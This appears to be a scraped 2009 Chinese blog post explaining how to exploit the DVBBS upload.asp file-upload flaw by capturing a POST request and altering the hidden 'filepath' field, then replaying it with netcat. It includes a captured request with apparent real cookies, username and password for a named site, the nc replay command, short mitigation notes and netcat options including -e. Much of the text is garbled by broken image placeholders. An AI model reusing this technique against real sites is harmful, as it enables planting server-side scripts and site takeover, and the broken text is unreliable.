asp上传漏洞:PHP/ASP上传漏洞探究来源: 发布时间:星期六, 2009年9月12日 浏览:7次 评论:0
来自:http://lixi4o.lucidpc.net/
1:传漏洞利用 ![]() ![]() nc(netcat) 用于提交数据包 dos界面下运行: nc -vv www.***.com 80<1.txt -vv: 回显 80: www端口 1.txt: 就是你要发送 ![]() (更多使用思路方法请查看本区 ![]() wse(wsockexpert) 对本机端口 ![]() ![]() 2:漏洞原理 下面例子假设 ![]() www主机: www.***.com; bbs路径 : /bbs/ 漏洞源于对动网上传文件 ![]() ![]() ![]() 看看dvbbs ![]() upfile是通过生成 ![]() <form name="form" method="post" action="upfile.asp" ...> <input type="hidden" name="filepath" value="uploadface"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="submit" value="上传" ...></form> 用到 ![]() filepath 默认值uploadface 属性hiden act 默认值upload 属性hiden file1 就是你要传 ![]() 关键是 filepath 这个变量! 默认情况下我们 ![]() 文件是用你 ![]() ![]() ![]() ![]() filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext -------------------------------------- 我们知道计算机里面 ![]() ![]() ![]() ![]() char data ![]() 这个data ![]() 如果我们构造filepath如下,会如何样呢? filepath="/ ![]() 我们在2004.09.24.08.24传 ![]() 没有改时: _blank>http://www.***.com/bbs/uploadface/200409240824.jpg 用我们构造 ![]() _blank>http://www.***.com/ ![]() 这样当服务器接收filepath数据时,检测到 ![]() ![]() 就理解为filepath ![]() 这样我们上传 ![]() 就保存成: _blank>http://www.***.com/ ![]() 3:后期补充 漏洞公布以后很多网站WebSite做了相应 ![]() ![]() 有很多网站WebSite只是加了n个hiden属性 ![]() ![]() 上传漏洞利用工具或者filepath变量利用工具(老兵 ![]() ![]() ![]() ![]() 而且很对网站WebSite ![]() ![]() ![]() ![]() 自己改wse抓到 ![]() ![]() ![]() ![]() ![]() 就算他加n个hiden变量也于事无补 ![]() 当然,如果对filepath做了很严格 ![]() ![]() ![]() 就是我们 ![]() ![]() 4:详细例子: --------------------- ![]() post /bbs/upphoto/upfile.asp http/1.1 accept: image/g ![]() ![]() referer: _blank>http://www.xin126.com/bbs/upphoto/upload.asp accept-language: zh-cn content-type: multipart/form-data; boundary=-----------7d423a138d0278 accept-encoding: gzip, deflate user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322) host: _blank>www.xin126.com content-length: 1969 connection: keep-alive cache-control: no-cache cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf; iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37; username=szjwwwww; pass=5211314; dl=0; userid=62; ltstyle=0; log ![]() -----------------------------7d423a138d0278 content-disposition: form-data; name="filepath" ../medias/myphoto/ -----------------------------7d423a138d0278 ... ... 上传 ---------------7d423a138d0278----------------- 2、ultraedit打开1.txt改数据: ...... -----------------------------7d423a138d0278 content-disposition: form-data; name="filepath" / ![]() ![]() ![]() ...... ---------------------------- 3、重新计算cookies长度,然后nc提交 nc -vv _blank>www.xin126.com 80 <1.txt ultraedit是 ![]() 我们主要用来写那个结束标致: ![]() ![]() 其实你改 ![]() ![]() 计算cookies长度 ![]() ![]() ...... host: _blank>www.xin126.com content-length: 1969 < ![]() ![]() ![]() connection: keep-alive cache-control: no-cache ...... 计算会吧? ![]() 对于上传漏洞提出 ![]() 1、 ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() 这个思路方法是目前最有效 ![]() ![]() 2、加强对于 ![]() 我们继续读直道下 ![]() ![]() ![]() 附:NC Usage: 监听外部主机 nc [-options] hostname port[s] [ports] ... 监听本地主机 nc -l -p port [options] [hostname] [port] options: -d detach from console, stealth mode -e prog inbound program to exec [dangerous!!] -g gateway source-routing hop po ![]() -g num source-routing po ![]() -h this cruft -i secs delay ![]() -l listen mode, for inbound connects -l listen harder, re-listen _disibledevent=> ![]() ![]() ![]() ![]() ![]() 0
相关文章
读者评论发表评论 |